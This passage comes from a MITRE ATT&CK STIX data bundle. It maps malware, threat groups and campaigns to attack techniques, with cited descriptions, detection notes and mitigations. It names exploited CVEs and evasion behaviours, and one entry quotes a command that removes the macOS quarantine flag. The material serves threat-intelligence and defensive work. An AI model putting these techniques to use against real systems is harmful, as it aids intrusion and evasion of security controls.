2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c823f79b-16c6-46ca-8e89-6fa975bdfee5","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c82bdafd-6f44-492a-be61-00b5bac4af94","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8309976-5d6a-4002-8dd8-07e9692c890c","created":"2022-09-22T18:16:11.247Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:16:11.247Z","description":"For [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) used an updated version of [Crimson](https://attack.mitre.org/software/S0115).(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c832fb66-57f5-40cb-94aa-ad788a4aad39","type":"relationship","created":"2021-04-09T15:11:36.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:36.629Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has created a user named “monerodaemon”.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8342b87-ceea-40e0-a9ad-11b72aa1378f","created":"2023-09-06T15:44:23.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T16:29:31.627Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used PowerShell Scripts to check the architecture of a compromised machine before the selection of a 32-bit or 64-bit version of a malicious .NET loader.(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c837d369-bb16-464b-9cae-8eca38124c4e","created":"2022-09-29T20:39:46.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:58:09.488Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors exploited Adobe Flash vulnerability CVE-2011-0611, Microsoft Windows Help vulnerability CVE-2010-1885, and several Internet Explorer vulnerabilities, including CVE-2011-1255, CVE-2012-1889, and CVE-2014-0322.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8389b37-06ee-4cca-9f03-7ade85b1c681","created":"2022-09-26T18:10:10.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky APT Trends Q1 2020","description":"Global Research and Analysis Team. (2020, April 30). APT trends report Q1 2020. Retrieved September 19, 2022.","url":"https://securelist.com/apt-trends-report-q1-2020/96826/"},{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T18:15:38.885Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can upload files from victims' machines.(Citation: Bitdefender FunnyDream Campaign November 2020)(Citation: Kaspersky APT Trends Q1 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c839344c-a96d-412f-bded-5ac7c8fd446a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.406Z","description":"[RTM](https://attack.mitre.org/software/S0148) can download additional files.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c83da269-9c77-4941-bf69-8e79bdfa5edf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM June 2017","description":"Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc"}],"modified":"2019-05-10T12:14:32.101Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has used the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.(Citation: Microsoft PLATINUM June 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8420a85-8724-450c-858e-217cdab58df8","created":"2024-08-20T20:10:01.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T18:45:58.736Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can use `xattr -d com.apple.quarantine` to remove the quarantine flag attribute.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8434ee2-f60f-48c4-a2d5-2576257a8387","type":"relationship","created":"2021-11-29T18:52:28.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T18:52:28.852Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can load DLLs through vulnerable legitimate executables.(Citation: Trend Micro Iron Tiger April 2021)\n","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c845732e-054e-4915-81d2-7c5e36da9eb7","created":"2022-10-13T15:09:23.284Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:09:23.284Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has used an invalid certificate in attempt to appear legitimate.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c8470c56-2c81-4826-804c-44e53d87333f","created":"2022-06-16T13:32:04.610Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used [netstat](https://attack.mitre.org/software/S0104) to monitor connections to specific ports.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T14:51:30.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8475b1b-c98f-4fdc-89dd-c9b04e6fbd9c","created":"2019-09-23T23:08:25.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.869Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a malware variant called GOODLUCK to modify the registry in order to steal credentials.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8480a31-f2ef-4de2-82b2-95b1ddedec2e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2020-03-30T17:20:41.576Z","description":"[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can delete files.(Citation: Symantec Pasam May 2012)","relationship_type":"uses","source_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c848d2d3-ded6-45a0-b942-3763bbd10d5c","type":"relationship","created":"2020-02-26T17:46:13.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-26T17:46:13.236Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c848ea14-292b-4ad8-ab58-70b26b023275","created":"2023-09-28T21:03:22.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Netwire Linux 2022","description":"TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T18:54:15.524Z","description":"[CrossRAT](https://attack.mitre.org/software/S0235) can use an XDG Autostart to establish persistence.(Citation: Red Canary Netwire Linux 2022)","relationship_type":"uses","source_ref":"malware--a5e91d50-24fa-44ec-9894-39a88f658cea","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c84b3859-ba18-45bd-8f56-baa045ce8eab","type":"relationship","created":"2019-09-09T17:44:35.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:17:59.329Z","description":"(Citation: ESET Sednit Part 3)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c84d253b-b26f-48e8-81ca-cc961f0b2360","created":"2019-08-26T15:27:13.067Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."},{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has been observed turning off Windows Security Center and can hide the AV software window from the view of the infected user.(Citation: Securelist Kimsuky Sept 2013)(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-18T19:44:35.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c84e0640-82fe-4bb7-b0e1-99b6a746970c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-02-18T03:52:59.745Z","description":"[Pupy](https://attack.mitre.org/software/S0192) has a module to clear event logs with PowerShell.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c854c48c-f9b0-4e41-904d-df7fe6700e7f","created":"2022-08-19T19:25:14.395Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has copied data from social media sites to impersonate targeted individuals.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-19T19:25:14.395Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c85af3d4-ab10-4c49-91c4-bff9054096b8","type":"relationship","created":"2021-03-19T16:26:04.440Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest parti","url":"https://objective-see.com/blog/blog_0x59.html","description":"Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}],"modified":"2021-04-26T20:02:14.282Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) obtains a list of running processes using the function kill_unwanted.(Citation: wardle evilquest parti)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c85d86c0-8adc-42fc-b7c9-8ca33d9ac4b6","type":"relationship","created":"2020-04-30T15:51:59.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}],"modified":"2020-05-04T14:24:55.169Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a modified copy of the open-source userland rootkit Azazel, named libxselinux.so, to hide the malware's operations and network activity.(Citation: Chronicle Winnti for Linux May 2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8679afc-7e74-42aa-b009-baea6be724ef","created":"2023-09-12T17:53:07.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T18:05:05.498Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has sent phishing emails with malicious attachments for initial access including MS Word documents.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c869db21-9c91-4449-b316-408bcab56e1b","type":"relationship","created":"2019-07-18T20:58:45.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.222Z","description":"Ensure proper system and access isolation for critical network systems through use of multi-factor authentication.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c86a1525-d555-4467-8d1c-1f8b0c277d1c","type":"relationship","created":"2022-01-31T19:52:29.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2022-01-31T19:52:29.757Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) has the ability to quit and delete itself.(Citation: ESET Telebots Dec 2016)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8786a8c-9c40-4df3-874f-952b814baec9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 